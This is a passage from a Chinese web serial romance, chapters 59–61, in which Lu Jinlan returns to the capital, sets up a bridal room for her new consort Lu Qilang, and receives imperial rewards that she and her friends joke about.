自从陆锦澜离京,这一个多月以来,宋凛丞一直睡得不好。 他给陆锦澜写过几封信,陆锦澜的回信总是报喜不报忧,一味的说她很好。然而灵州的家里传来消息,他才得知她未到北州已经遭遇过刺客。她越不说,他便越担心。挂念着她此行凶险,总是夜不成眠。 那晚遇刺后,宋凛丞更平添了做噩梦的毛病。这几日他睡觉时将佩剑放在枕边,一有风吹草动,便要出门看看。 这晚,宋凛丞刚刚睡着,忽听外面一阵嘈杂。他骤然惊醒,抽出枕边的宝剑冲了出去。 陆锦澜正在和仆役们说话,一转头,见宋凛丞提着剑步履匆匆而来。 四目相对,宋凛丞手中的剑瞬间被丢到地上,他快步上前,陆锦澜张开手臂,二人紧紧地抱在一起。 彼此太多的话想说,一时竟不知该先说哪一句。 二人回到房中,陆锦澜道:“先让我看看你的伤口,听说你遇刺,真把我吓坏了。洗墨那丫头说话不先说重点,差点吓死我。” 宋凛丞低笑一声,解开衣服,露出被绷带缠着的手臂。 “只是被划了一刀,一点皮肉伤,你以为我活不成了?” 陆锦澜无奈道:“毕竟刺客都是要人性命的,何况,那些刺客武功不低,是不是?” “是,你怎么知道?说起来,我感觉刺客好像是男人。” 陆锦澜道:“我也遭遇过这批刺客,所以才怕你遭了他们的毒手。” “确实很凶险,不过,幸好有人救了我。” “谁救了你?” 宋凛丞道:“不认识,但救我的也是个男人。我问他为什么要救我,那人说我以后就知道了,他还让我不要告诉外人。” 陆锦澜若有所思,“那人长什么样?你看到他的相貌了吗?” “他蒙着面, 相貌我没看到。但我问了他姓名,他说他姓陆。” “姓陆?” “嗯,他叫陆七郎。” 陆锦澜微微一笑,“此人现在在哪儿?”—— 作者有话说:宝子们,我今天整理下大纲,梳理下后续剧情,今天少更点儿,明天再会~ 第59章 宋凛丞意味深长的瞥了她一眼,“自然是走了,难道我还留他在家里住?” 陆锦澜敏锐的嗅到了一丝醋味儿,笑道:“那不是你的救命恩人吗?我寻思着当面谢谢他。” “这种糊弄鬼的话,你就不用说了。人家和我不认不识的,怎么会平白无故救我的命?那人,是冲着你来的吧?” 陆锦澜暗自咬住舌尖,不想此刻说出的话成为‘呈堂证供’,在宋凛丞态度未明之前,她选择保持沉默。 宋凛丞白了她一眼,“不吭声?那就是我猜对了。” 陆锦澜绷不住,嗤笑一声:“你这么笃定?就不能是你冤枉了我,我不高兴?” “我还不了解你?我若是冤枉了你,你此刻一定跳起来大发雷霆,还容我再说半句?这世上谁敢冤枉你?你这脾气什么时候受过委屈?但凡冤枉你一点,你都敢闹得举国皆知。” 宋凛丞说着到这儿,侧过身嘟囔了一句:“我哪敢冤枉你啊。” 陆锦澜笑着抱住他,轻轻晃了晃,在他耳边低声哄道:“知我者,凛丞也。要不说,我怎么娶你做正夫呢?你不仅长得如此貌美,还格外聪明,这一般二般的男人和你简直没法比。” “那当然。”凛丞得意道:“他说他姓陆,我就猜到是你惹来的风流债。咱可说好,我不是不容人的夫郎。但你想留他住家里,你自己去跟他说,我可不去开这个口。你还没娶我呢,就让我帮你纳人进府,我还没贤惠到那个程度。” 看着他那张俊美无双的面孔又醋又嗔又无奈的样子,陆锦澜情不自禁的摸了摸他的脸,温热的指腹抚过他的薄唇,微微用力的揉捻。 她略带不满道:“一个多月不见,见到我也不说想我。你总跟我提别人做什么?这儿就只有咱们两个,我现在心里想的是你。” 宋凛丞脸上一热,温声道:“我自然是想你的,我也不是故意一见面就提这个人质问你。我是想着,人家千里迢迢奔着你来的,到这儿也不知有没有落脚的地方,怪可怜的。我若不说,好像故意瞒着你,不让你见他似的。回头你再和我生气,我多冤枉啊?你要找他你就去吧,我又没拦你。” 陆锦澜笑道:“宋公子,你有没有良心?我为了见你,赶了一天一夜的路。到了城门口,费了好大的工夫,才让人家破例把我放进来。你倒好,大半夜的让我去找人,也不怕累死我。他又不是三岁小孩儿,还能丢了不成?反正,他爱去哪儿去哪儿,我不管,我现在只想抱着你睡觉。” 陆锦澜想赶紧结束这个煎熬的话题,用卖惨加踩一捧一的话术,果然十分奏效。 宋凛丞立刻怨气退散,眼底皆是深情。他主动凑近了些,炽热的吻落在她的耳边,声音低哑道:“我没有一天不在想你,做梦都在想。” 陆锦澜勾了勾嘴角,“想必不是什么正经梦吧?” 宋凛丞心虚得没有回答,只是用唇舌堵住了她下面的话。 两人的呼吸交缠在一起,宋凛丞含糊道:“不亲够了……就不让你睡。” 陆锦澜“嗯”了一声,按住他的脖颈,不断加深这个吻。 只是房顶一丝细微的响动传到她的耳朵里,陆锦澜暗道不妙。这个她是哄好了,那个怕是不好了。 左右为难,左右为男。 先这么着吧,哄好一个是一个。 * 阿七……不,自从陆锦澜告诉他,就当世上不再有阿七这个人之后,他便将自己改名为:陆七郎。 陆七郎到了京城,也日思夜想的盼着陆锦澜回京。 可那晚他亲耳听到陆锦澜说什么“他爱去哪儿去哪儿,我不管”之类的话,气得他咬牙切齿。 他黑着脸回到住处,越想越气,干脆把熟睡中的十三强行唤醒,气愤道:“陆锦澜这个女人,就是个骗子,我又被她骗了。她根本就不在乎我,我们留在这儿也没什么意思,明天我们就回北州去。” “啊?”十三迷迷糊糊道:“北州咱的老巢都被端了,咱回去干嘛?” 陆七郎赌气道:“不管,反正我要离开神京。这破地方,没什么好留恋的。” 十三无奈的揉了揉眼,看见他一身夜行衣,无奈道:“你又去陆府了?” “嗯,陆锦澜回来了。” “她和你说什么了?” “什么也没说,我没让她看见我。” 十三两手一摊,“那你生什么气?” “她回来只顾着和她那个未婚夫亲热,人家宋公子倒是个大度的,还寻思着我千里迢迢投奔她来,在京城举目无亲,怪可怜的。她可倒好,说我又不是三岁小孩儿,用不着担心,我爱去哪儿去哪儿,她不管我,也不找我。” 十三噗嗤一笑,“都说了有了心爱之人便会变笨,我看七哥你是真的变笨了。你让她当着未婚夫的面怎么说?她就算心里紧张你,也不能讲出来吧?为了家宅安宁,做妻主的自然是要八面玲珑的。你别听了只言片语就误会陆大人,她不是那样的人。” “哎?”陆七郎诧异的看向十三,“你怎么回事?突然向着她说话?你之前不是说她是大色魔,恨不得杀了她吗?” “那时我不了解她是什么样的人……” 时隔多日,十三回想起地道里那一幕,还是觉得脊背发凉。虽然陆锦澜不让他多嘴,但见七哥如此不安,他便决定将那日的实情告诉他。 陆七郎听了沉默不语,其实他也很震惊。和陆锦澜朝夕相处了多日,直到分别那天,他才发现自己并没有那么了解她。或者,更准确的说,他只了解一小部分的她。 她有时很诚挚,当她深情的目光看过来的时候,仿佛把整个世界给你了。 可她有时也很狡诈,随手编造的谎言便是一张牢不可破的情网。她会冷眼看着你在其中痛苦挣扎,也会在你最需要的时候紧紧抱住你,说:“我是爱你的。” 任何男人听到她说出这句话,都只有一条路可以走,那便是毫不犹豫奋不顾身的沦为她的爱宠。 因为她是陆锦澜,她名满天下举世无双,有万丈光芒。她有别于这世上的任何一个人,你甚至找不出任何一个和她相似的人。 她特立独行睥睨一切,将陈腐的规则踏在脚下,视世俗眼光犹如无物。遇到不平之事,她敢为天下先,登高一怒,振臂一呼,便有应者如云如潮,追随着她的脚步。 她对弱小的受难者有最深切的慈悲和怜悯,恍若神明的化身。她对阴险的无耻之徒则会拿出最强硬冷酷的态度,挥刀拔剑,毫不犹疑的轻取其性命。甚至不忘灭掉其同伙,以求万无一失。她杀人不眨眼,堪比地狱的使者。 二者在她身上同时存在,她既是神明的化身,也是地狱的使者。 然而就是这样的人,也会俯身温柔的轻抚你的脸,问:“你怎么不高兴了?” 做她的男人,哪有什么选择?她做神明时,他们便是她最虔诚的信徒。她做魔鬼时,他们便是她最忠诚的奴仆。 陆七郎知道他只得到了她一点点的爱,可这一点点的爱对他来说,已经足够照亮他整个人生。他 私心想要更多,却也忍不住质问自己是否过于贪婪。 见陆七郎久久的沉默,十三又劝道:“你想啊,她如果真的不在乎你,怎么会如此重视对你的承诺?她把我救出来可不是易事,杀了三个人呢。” 陆七郎点了点头,“也是,她心里自然是有我的,只是刚刚回来,一时顾不上。那我们先不离开京城了,等几天再说。” 又过了两三日,十三见他七哥每天都出门,回来时却总是一脸的苦大仇深。 “又怎么了?” “她天天和她那个未婚夫逛街游玩,根本就没想起我。” 十三想了想,“她心里一定是惦记你的,但又不知道去哪儿找你。要不这样,你主动露面,看她怎么说。” 陆七郎尴尬道:“那多不自重啊?好像是我上赶着送上门似的。” “也是。”两人陷入了沉思。 十三在屋里转悠了两圈,“有了!你不说她天天上街吗?咱们假装偶遇,这样就不算不自重了吧?” 陆七郎眼睛一亮,“十三,咱们从小一起长大,我第一次发现你这么聪明。好,那你明天和我上街,咱们假装买东西去。” 次日一早,两人换了身新衣服,精心收拾一番,便在陆府附近转悠。 临近中午,果然见到了陆锦澜带着宋凛丞出门吃饭。俩人路过琳琅满目的街市,还停下来买了些东西。 陆七郎和十三交换了个眼色,从不同方向绕了过去。 十三路过二人时,故意撞了宋凛丞一下,“不好意思,我着急找人,不小心撞了公子。” 宋凛丞忙道:“没事。” 他俩就站在陆锦澜身边说话,按理说她应该听出他的声音,可陆锦澜也不知怎么了,偏偏看都不看一眼。 十三无奈道:“那就好,打扰了。我看到我要找的人了,失陪。” “七哥!”十三大喊了一声。 周遭一干人等纷纷送目过来,见他快步奔向面具摊前一位玄衣公子。 陆七郎转过身,顿时引得众人窃窃私语,“好俊俏的小郎君,也不知许了人家没有?” 连宋凛丞都忍不住赞道:“如此清俊绝色,真是难得一遇。” 他看了看陆锦澜,“你不心动?” 陆锦澜淡淡的瞧了一眼,拉住他的手,“走吧,吃饭去。” 陆七郎看着二人离去的背影,瞬间沉下脸,手上的面具都被他捏烂了。 十三无奈的叹了口气,他已经不知道说什么好了,犹豫半天,只说了一句:“七哥,事已至此,你看开点吧。” 陆七郎气道:“我看不开,我不要看开!她假装不认识我,我偏要找上门去,看她有何话说!” 当晚,陆七郎又换了一身夜行衣蒙着面,夜探陆府。 今晚,陆锦澜倒是没宿在宋凛丞房里。陆七郎见她独自走进了一处院子,他便跃下房檐,跟了进去。 陆锦澜进了屋内,却并没有掌灯。 难道这么快就睡了?他带着些许疑惑翻窗而入,不成想脚刚一落地,手便被人捉住。 他本能的想要挣脱,拉扯间那人锁住他的手腕,挥手扫落杂物,将他牢牢地压在了桌子上。 剧烈的心跳伴随着瓷器碎裂的声响,清冷的月光下,陆锦澜与他四目相对。那一刻,万籁俱寂。 她温声开口:“我有没有说过,你这双眼睛真是生得勾魂摄魄。” 陆七郎心头一颤,提醒自己保持清醒,却还是眼眶一红,压不住万般委屈,“你分明不记得我了。” “我怎么会忘了你呢?我的七郎。”陆锦澜取下他的面巾,不由分说的吻了上去。 男人还在赌气,故意别开了头—— 作者有话说:卡文了,明天一定写长,握拳! 第60章 陆锦澜亲了个空,眉心一动,微微眯起了眼,“你敢躲我?” 陆七郎不吭声,用沉默对峙。 陆锦澜已经很久没有遇到逆着她的男人了,一时间竟觉得颇有趣味。她反骨发作,非捏着他的下巴,强吻上去。 他试图躲闪抗拒,却在她强硬的攻势下迅速溃败,沉溺在她湿热的吻中,几乎意乱情迷。 一吻毕,陆锦澜抚了抚他下巴上的红印,瞥见他眼底的水迹,颇为怜惜,“怎么了?都跟我姓了,还跟我使性子?” 陆七郎抿了抿唇,声音里都带着委屈,“明明是你说的,你不管我了。” 陆锦澜略一回想,无奈的笑了笑,“你怎么这么傻?我能不管你吗?你都嫁给我了,我这辈子都得管你。” 陆七郎瞥了她一眼,“骗人,你这几天根本就没找过我。” 陆锦澜笑问:“我怎么找你?难道你要我到定北侯府去,问那个希望我死的凌侯君,‘有没有看到我家七郎啊’。那人家凌侯君也得问啊,‘哪个七郎?是那个背叛我的阿七吗?’你说,她能告诉我吗?” 她风趣的语气差点让陆七郎憋不住笑,他连忙忍住,又道:“就算你不知道去哪儿找我,但今天在大街上你可看见我了,为什么装不认识我?” 陆锦澜:“大街上相认也太草率了,不给你准备些惊喜,怎对得起你这段时间为我做的事?” 她握住七郎的手,认真道:“我想到你会提前到京城,但没想到你会救宋公子。” 陆七郎叹了口气,“唉,我那不是怕你伤心吗?我们的组织有一些暗语,我怕凌家人追杀我和十三,就一直留意着那边的消息。没想到,那天听到他们要来刺杀宋公子。我一想,他要是有个好歹,你还不知要怎么难过呢。干脆好人做到底,救了你的心肝儿。” 陆锦澜笑着抱住他,“我的心肝儿,不是在我怀里吗?” 陆七郎哼了一声,“你就哄我吧,反正我最好骗了。说什么给我准备惊喜,只怕我不跟你闹,也没有什么惊喜,惊喜在哪啊?” 陆锦澜道:“这你可冤枉我了,我不和你在街上相认,就是笃定你今晚会来。所以,我便在此守株待兔。至于惊喜,就在眼前。” 她说着取出火折,点亮了屋内的盏盏烛火。 陆七郎这才发现这屋子布置得像新房一样,挂满了红绸。床上挂着红帐,床面铺着新褥新被,被子上绣着一对雌雄鸳鸯,床头还摆着一对儿锦缎鸳鸯枕。 他惊讶得回过身,才注意到桌上摆着一对红烛,原本还摆了四样果子,只不过刚才两人胡闹,陆锦澜将其扫到了地上。 仔细辨认,四样果子分别是大枣、花生、桂圆、红女果。早生贵女,是好意头。 陆七郎要拾起来,陆锦澜忙道:“你捡它做什么?你又不爱吃,备了你爱吃的了。” 陆锦澜递给他一盒冰糖葫芦,说道:“我就知道你早晚会来,这几天着人仔细准备着。也是赶巧,这被子今日才做好,今晚布置好,你今晚便来了。” 她说着又从怀里取出一支簪子,“这是京城万玉斋的白玉簪,自从我给凛丞和雨眠买了之后,不知哪个缺德的传出去了,成了紧俏货。一百两一支,都卖断货了。不过我想,他们都有,我就找老板又买了块玉料,做了一支送给你。” 陆七郎鼻子一酸,红着眼道:“对不起,我之前还以为你……” 陆锦澜一笑,“以为我什么?以为我始乱终弃,不要你了?” 他被说中心事,低头不语。 陆锦澜笑道:“你以后不要胡思乱想了,你已经嫁给我了,你是我的人,我会对你负责的。这院子以后就是你的了,明儿凛丞会拨几个仆从到这儿院伺候。你这院有八间房,宽敞得很,你嫌寂寞,可以把十三叫过来陪你住。” 陆七郎心头一暖,幸福接踵而来,他倒有些应接不暇。 “那……那我是不是应该先去拜见一下宋公子?要不……要不你今晚还是去陪他吧,我今天翻墙进来,实在是有些不懂礼数,我先回去好了。” 陆锦澜一把拉住他的手,“你可别瞎折腾了,我已经告诉宋公子,他今天在街上遇到的就是你。何况他身上还有伤呢,我陪他也是干躺着。我今晚从他那儿出来,他一句都没问,定是猜到你要来。不得不说,论聪明,你还真不如凛丞。察言观色这点,你回头跟他学学。” 陆七郎不大情愿的“嗯”了一声,“是,他比我聪明,比我家世好,比我了解你。那我呢?我就没有比他强的地方?” 陆锦澜挑了挑眉,“有,你自然有你的长处。” “什么长处?” 陆锦澜勾了勾手,在他耳边说了句密语。 陆七郎低笑一声,“合着我的长处,就是把你伺候得更舒服?” 陆锦澜意味深长的摸了摸他的薄唇,“我很喜欢你这个长处。” 七郎抿了抿唇,轻咬着她的指尖,“那今晚我不走了,请妻主和我共度良宵。” 他将陆锦澜抱了起来,陆锦澜打趣道:“你这刺客, 又意欲何为?” 陆七郎答:“去床上,发挥我的长处。” * 第二日,两人还没醒,已经来了四个男仆侯在院子里,等着伺候。 这些个仆从自然是宋凛丞派来的,陆七郎冷眼瞧着,四人做事手脚麻利,对他的态度也很是恭敬。陆锦澜还未开口说什么,男仆们已经称他为‘陆小郎’,必是宋凛丞吩咐过的。 是以,他十分感激,从衣柜里挑了庄重些的衣衫换上,跟着陆锦澜一块去前厅用早膳。 见到宋凛丞,陆七郎便恭敬行礼道:“拜见大夫郎。” 宋凛丞忙道:“快起来,我还没过门呢。再说,你是我的救命恩人呢,不必行这么大的礼。” 宋凛丞嘴上虽然这么说,但也料到了该有这一环节。他爹教他的,接人待物要有正室风范。他受了陆七郎的拜,便命人呈上早就准备好的见面礼。 一柄玉如意,一顶嵌了宝石的金头冠,两匹时兴料子,还有一套上好的文房四宝。 宋凛丞道:“听锦澜说你爱练字,我想你大约能喜欢。” 陆七郎连连道谢,暗道:不愧是世家公子,一出手便如此阔绰。 三人正吃着饭,前面来报,管家洗墨回来了。 她是跟着钦差的队伍进城的,陆锦澜在北州购置的几大箱子东西终于运回了府。 宋凛丞一数都惊呆了,“我的天啊,你这是去办差还是去采购?怎么买了八大箱东西?” 陆锦澜笑道:“快开箱看看,有没有磕坏碰坏的。那个红木箱子里的东西,都是给你的。桃木箱子给七郎,里面有些是我们在北州置办的,我一并装里了。那个樟木箱子是给雨眠的,里面不少给孩子的玩意儿,你派人送到云州去。” 宋凛丞道:“正好,前些日子灵州送来一些上好的皮毛。我给咱俩了几件冬衣,给雨眠也做了件披风和一顶帽子,明日和你这箱子一块送过去。” 说罢他又对陆七郎道:“料子还有,一会量了你的尺寸,我让人给你做两套。” 行,家和万事兴。 陆锦澜满意的拍了拍宋凛丞的肩膀,“你办事,我放心。我这箱子里还有很多东西,是准备给同学、师傅和院长的,你得空帮我分出来几份。我去看看如蓁在学院没有,中午请她来家里吃饭。” 此时,皇家学院已经放了寒假。偌大的校园空无一人,陆锦澜回到宿舍,躺在项如蓁床上等了半天,也没见人影儿。 怪了,人去哪儿了? 她骑马溜到了晏无辛的乐玩山庄,管事的说晏无辛有两个月没来了。她又转了晏无辛的私宅,一群应子在院子里打牌,方卿道:“我们妻主一个月前说出门办事,不知什么时候回来呢。” 陆锦澜无语道:“你们这儿的消息也太落后了,今早就回来了,我的人跟着一起进城的。她是不是回家见她娘去了?她家老宅在哪儿?” 方卿道:“我们不知啊,我们这些人连老宅的门朝哪儿开都不知道。妻主不说,我们也不敢多嘴。” “行吧,那你们玩,见到她告诉她我来过了。” 陆锦澜打马回府,傍晚时分,没等到人先等到了圣旨。 已经有了前两次接旨的经验,这次陆锦澜倒是从容。洗墨带着人布置香案,陆锦澜和宣旨官曾颖坐下来喝茶攀谈。 “曾大人能否透露下,圣上给了我什么赏赐?” 曾莹笑道:“陆大人真是睿智,圣旨还未宣读,已经知道大概了。” 陆锦澜笑了笑,“不瞒姐姐说,我在北州还是立了些许功劳的,不然大皇女怎么肯把她那匹雪白发亮的汗血宝马赏给我?如今钦差复命,陛下要行封赏,我琢磨着应该有我。” “有,不仅有你,也有另外两位特派使。” 陆锦澜恍然大悟,“我说我转了一大圈,没找见她们两个呢,她们进宫去了?” “进了,我出来的时候项特派使刚领了赏出来。” 陆锦澜喜道:“她面圣了吗?得了什么封赏?” “今天这些人,陛下几乎都是单独召见,说了什么我可不知道。我只知道陛下赏了她一件黄马褂,一千两白银,赐翰林院学习。” 陆锦澜愣了一下,随即低声道:“曾大人,我不懂这里面的规矩,劳您给我讲讲。你说,皇上开口一次,怎么不给如蓁封个官职?翰林院学习又没有品级官衔,没有俸禄,这不是打白工吗?” 曾颖连连摇头,笑道:“我说陆大人,您真是不食人间烟火啊。你当谁都跟你似的,一下子就有了官衔,还官至四品。你知道寻常人从学院结业到入选六部,有多难吗?入选了六部,也是从品级最低、事情最多的岗位做起。两三年能升到五品,已经是会做人外加运气好的了。普通学子刚入学半年,就想做官?做梦还差不多。” 陆锦澜“哦”了一声,“原来是这样。” 她一直嫌自己这个四品骁骑校尉有点小,现在看来够大了。这已经是皇上看在宋婧骁的面子上,破格封的了。 谈话间,香案已经备好。陆锦澜率全家跪下接旨,曾颖宣读了皇帝给她的封赏。 皇上将京城东郊的皇家别院改名为忠勇园,赐给陆锦澜,另赏黄马褂一件。 陆锦澜听到“钦此”两个字,猛地抬起头,“没啦?” 曾颖一笑,“陆大人,您还想怎么着啊?那可是皇家别院,大着呢。皇上若不赏下来,凭您有多少钱,也住不上。那园子我去过一次,年初刚修缮过。里面的东西都是好物件,都给你带着,没特意写到圣旨上,不然我念到明天也念不完。原本皇上打算自己得空去住的,如今见你立了大功,才割爱赏给你,旁人都没有呢,这可是天恩浩荡。” 陆锦澜叹了口气,寻思这皇上怪抠的,自己也算是帮皇家剪去了凌家一只羽翼,找回四十万两官银,削掉十万凌家军。 结果这老太太是吝啬鬼转世,钱也不给,官也不加。黄马褂也就那样,也不怎么好看,还得精心保管。 不过那园子还有点用,前些日子她还想着婚礼若在京城办,怎么接亲?要不要再买个宅子什么的。这回省事了,从现在的陆府接到忠勇园,新房有了。 “臣陆锦澜接旨,谢主隆恩。” 曾颖扶她起来,陆锦澜道:“我从北州带回来些土仪,不是什么贵重的东西,只是地方风味京城不易得。听闻曾大人爱美食,那便与我是同好,就请收下吧。” 曾颖提着那一包东西,笑得喜笑颜开。她在内廷司任职,并非没见过世面。一些寻常的金玉之物,她既不感兴趣也不便收。只是陆锦澜投其所好,她确实爱吃。这些腌肉干菜点心等等,收了也不怕人说她受贿。 曾颖感激之余,便拉着陆锦澜走到一旁,又提点了她几句。 “妹妹是个实诚人,我便再多几句嘴。北州案已经是铁案了,三司会审不过是走个过场,这两日差不多就结案了。你想这个时候,皇上赐你忠勇园,不在园子大小好坏,而在这个名头上。那十万大军已经在宋将军手里了,皇上还能要回来吗?在宋将军手里,以后不都是你的吗?你才十七,现在给你太多恩典,以后还怎么施恩?” 陆锦澜恍然大悟,她之前一直觉得这十万大军好不容易从凌家手里抠出来,皇上肯定得想办法收到自己手里。可曾颖这么一说,她才想到这十万人已经在宋婧骁手里了,皇上要是特意要回来,倒显得皇上不信任宋婧骁似的。她那位岳母虽然不像凌之静那般狼子野心,但也不是好相与的。 凌家现在如此嚣张,皇上要想扳倒凌家 ,光靠自己是不够的,必须得倚仗宋婧骁手里的兵。虽然要防止养虎为患,但不养虎如何对付另一头更凶恶的狮子呢? 当然,皇上养虎也是敲打着养。不然,怎么会特意将别院改名为忠勇园呢?就差捏着耳朵念叨:你可要对我忠心啊! 宋婧骁上了年纪,又没有女儿,皇上的敲打就陆锦澜头上了。 陆锦澜一想晏无辛说得有道理,皇家人,果然心跟筛子似的,全是心眼子。她误闯天家,还是想得少了。 陆锦澜想到这儿,对曾颖道:“多谢姐姐提点,妹妹我年轻识浅,一时参不透这里的门道,幸亏姐姐提醒我。姐姐对我的好我记下了,日后有用得着我的地方请尽管开口,让我也为姐姐尽尽心意。” 两人说了会儿话,陆锦澜亲自将人送走。 陆锦澜站在大门口,宋凛丞跟在她身后,见她神情若有所思,便问:“是不是有什么不妥?” 陆锦澜摇了摇头,“没什么,对了,以后咱们家得了什么特色风味,记得给曾大人府上送一份,她爱吃这些。” 宋凛丞道:“我记下了,以后这些人情往来的杂事,交给我就好,你不必操心。这位曾大人看着面善,你有意结交她?” 陆锦澜点了点头,“她在内廷司任职多年,颇有经验。我想半天都想不明白的事儿,她几句话便能一语中的。” 宋凛丞笑了笑,“你和她比什么啊?你才多大,她多大?再说,她在内廷司办事,天长日久自然晓得里面的弯弯绕绕。可若是让她去办北州案,说不定现在连眉目都摸不到呢。你陆锦澜现在是公认的足智多谋,哪是内廷司的人能比的?只是你未入官场,还未钻营里面的道道罢了。” 看着凛丞一脸替她骄傲的样子,心道:你现在对我的滤镜有一万米厚。 陆锦澜笑着搂住他的腰,想起学过的那篇《邹忌讽齐王纳谏》,不由笑道:“吾夫之赞我者,私我也。” 她勾着凛丞的脖子,亲了下他的嘴角。 凛丞吓了一跳,“这是大门口,给人看见。” 陆锦澜:“看见怎么了?我看谁敢管我?” “咳咳!”有人咳嗽一声。 项如蓁提着满手的东西,笑看着二人,“陆大人,青天白日,有伤风化。” 凛丞耳朵一红,“你们聊,我先回房了。” 陆锦澜笑道:“好你个项如蓁,管到我家里来了。你大包小裹的,这是要上哪儿去?” “上你家,平日总跟着你和无辛蹭吃蹭喝,今日得了赏,当然与你们同庆。” 陆锦澜忙接过她手里的两坛子酒,“那今天这酒得好好品品,今晚可得不醉不归。” 她招呼门子,“去趟晏少娘的私宅,请她到府上来。” 项如蓁拦道:“她应该要回趟家里,私宅抓不着她。不过不用叫她,她一会儿也准来。” 二人将项如蓁买来的东西交给厨下处理,先到前厅喝起了茶。 几日不见,有许多的话,互相抢着说。 陆锦澜急道:“你先别说路上的事了,我刚听说皇上单独召见了你和无辛,真给我急坏了。殿下真是的,怎么不提提我?应该叫我和你们一起去面圣,我也去趟皇宫,见见皇上。” 项如蓁连连摆手,一言难尽道:“你就庆幸你没去吧,你猜我们早上进城,这都傍晚了,我怎么才到你这儿?” 陆锦澜一愣,“怎么了?宫里规矩多啊?” 项如蓁叹了口气,“我们进了城,崔大人说,她先带着银子去国库交割入库,再把人犯送到刑部大牢。这时候殿下说,按照规矩,大家得一起进宫去复命。我和无辛当时还想,那崔大人怎么不跟我们一起?” 陆锦澜道:“反正也是单独召见,不一起也不影响。” 项如蓁无奈道:“不是,我们进了宫门开始,便在奉天门外候旨听宣。我们到了那儿一看,跪了二三十位外臣,都是从各地回来候旨的。我和无辛排在人家后面跪着,大皇女倒是不用,她可是回了家了。一看这么多人,她说她估计要等两三个时辰,她先回去沐浴更衣。” “她走了,也不管我和无辛。奉天门的地上刻了些什么牛鬼蛇神的浮雕,跪在上面跟受刑似的。连口水也不给,垫子也没有。无辛气得七窍生烟,跟我嘟嘟囔囔骂了半天,她嘴皮子都说干了。” “等到中午,大皇女派人来给我俩送了碗粥,来人说皇上已经召见过殿下了,就快轮到我俩了,我俩喝了粥就继续等着。等到人都快走光了,崔大人来了。她倒是有经验,不慌不忙的交割完了两件事,吃了午饭睡了午觉才来,正好轮到她,你说气不气?” 陆锦澜叹道:“你俩也太实在了,老老实实在那儿跪了一小天儿,这不是遭罪吗?无辛平时也有不少鬼主意,怎么到了关键时刻,不敢使了?” 项如蓁揉着膝盖,无奈道:“我们都是第一次面圣,战战兢兢,谁敢跟皇上使鬼主意啊?” “那也不能干跪着,就说去茅房,绕到御花园里找个地儿睡一觉,凭你俩的身手,不会被发现的。要不然就找大皇女去,好歹一个宿舍住着,她想不管就不管?她把你俩丢下,你俩就找她去啊。我就不信,在她那儿讨口茶歇歇脚,她还能把你们赶走。” 项如蓁噗嗤一笑,“跟你比,我俩都算老实人,哪敢在皇宫这么放肆?早知道就该叫上你,也不至于遭了半天罪,进去就说了几句话。见皇上一堆规矩,不让抬头,我中途瞥了一眼,反正皇上也有鼻子眼睛,长得和咱们差不多。” 项如蓁说到这儿,又猛灌了半杯茶。陆锦澜忙道:“都是没经验闹得,下次就不会了。” “嗯嗯,皇上问我以后有何打算,我说我想多多历练,以后更好的为朝廷办事。圣上便赐我到翰林院学习,还赏了一千两银子和黄马褂。” 陆锦澜点头道:“我估计大皇女没少和皇上提起咱们,从赏赐来看,是因人而异。她赏你钱,是觉得你用得上。她赏我宅子,也是猜到我能用得上。那你说,她会赏无辛什么呢?” 项如蓁道:“无辛排在我后面,我面完圣就被送出来了,我也不知道她得了什么赏。” 话音未落,门子便快步来报,“少主,晏少娘来了。” 晏无辛脚下如风,跟回自己家似的,压根没等着通报。她手里捏着圣旨,噔噔噔几步就进了院子,远远的瞧见二人便一叠声的嚷嚷道:“气死我了!气死我了!” 二人笑问:“怎么得了赏还不高兴?跟我们说说,圣上赏你什么好东西了?” 晏无辛皱着眉把圣旨丢到桌上,“你们自己看。”—— 作者有话说:一、这回陆锦澜吸取经验,买了一大块白玉,让老板给她做了一大盒簪子备用。白玉簪子,算是批发来的。 二、七郎的长处可能不是你们想的那个,但我不敢细说,这里不便说,看公告吧。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 项如蓁拿过去刚看了一眼,顿时哈哈大笑。陆锦澜一把抢过来,看完更是笑得直拍桌子。 皇上除了赏给晏无辛一件黄马褂,还赐给她五名姜国美男。 晏无辛铁青着脸,看她俩笑得前仰后合,咬牙切齿道:“你们就笑吧,笑吧。朋友受了屈,还笑?你们一点也不心疼我。” 陆锦澜笑道:“这咱可得说道说道,皇上给咱们几个的赏赐都是对症下药。她肯定是了解了一下咱们的需求,不是贸然行赏。你是不是跟皇上说,你喜欢美男?” 晏无辛气道:“君前奏对,我哪敢说这些不正经的话?皇上问我,对以后有什么打算,我说我没有什么大志向,就希望悠闲自在没有烦恼的过一辈子。身体健康,家庭和睦,三两知己好友在侧,同我吃喝玩乐,了此一生。我这么说,没毛病吧?” 项如蓁怪道:“你没和圣上提男人,她怎么好端端的想起来给你赐美男了?” 陆锦澜忙道:“此言 差矣,我要是圣上,听见这番话,应该也赏你男人,因为你压根没给人家留什么别的方向。你看,你要身体健康得靠你自己,家庭和睦靠你家里人,三两知己好友那就是我俩了,圣上也帮不上忙。你说你要吃喝玩乐,她总不至于赏你吃喝吧?那就只剩下玩乐了。” “你天天在班里说什么,你才是天下第一风流,我都不如你。还说什么,你养的男人三辆马车都装不下。我猜啊,肯定是大皇女给皇上提供了消息,皇上以为你好这口,就把美男赐给你了。” 晏无辛一巴掌拍在脑门上,“唉,虚荣心害我啊。早知道就不和你争天下第一风流,皇上就会把那几个姜国男人赏给你。” 陆锦澜笑道:“我大婚在即,皇上才不会赏给我。你也别抱怨了,难道美男不合你意?” “当然不合我意了!姜国美男,那是姜国认为的美男,在我看来根本不是美男。我喜欢偏瘦弱的,他们又高又壮。还练了一身肌肉,那胸比我都大。其中一个还跟我说,他能表演用胸肌夹死蚊子。我请问,他脱了衣服就让我联想到蚊子,我笑都要笑死了,我还能有兴致吗?” 项如蓁笑得差点掉下凳子,努力安慰道:“皇上只说赏给你,又没要求你宠他们。实在不行,你把他们安排去做粗活,砍柴挑水什么的。” 陆锦澜忙补充道:“或者在屋里伺候也行,比如夏天你睡觉的时候,就让他在一旁夹蚊子,来一只夹死一只,保管你安睡一整晚。” 晏无辛咬牙:“陆锦澜!” 陆锦澜笑着求饶道:“好好好,不提蚊子了。你安排他们去当车夫或者轿夫,带出去别人问起,你说是皇上赏的,还怪有面子的。” 晏无辛白了她一眼,“算你出了个能用的主意。” 大家说笑了一会,陆锦澜看着男仆们已经将酒菜摆好,便道:“先吃饭吧,今天如蓁请客。吃完你俩别走了,咱们三个今晚睡我屋,同榻而眠。” 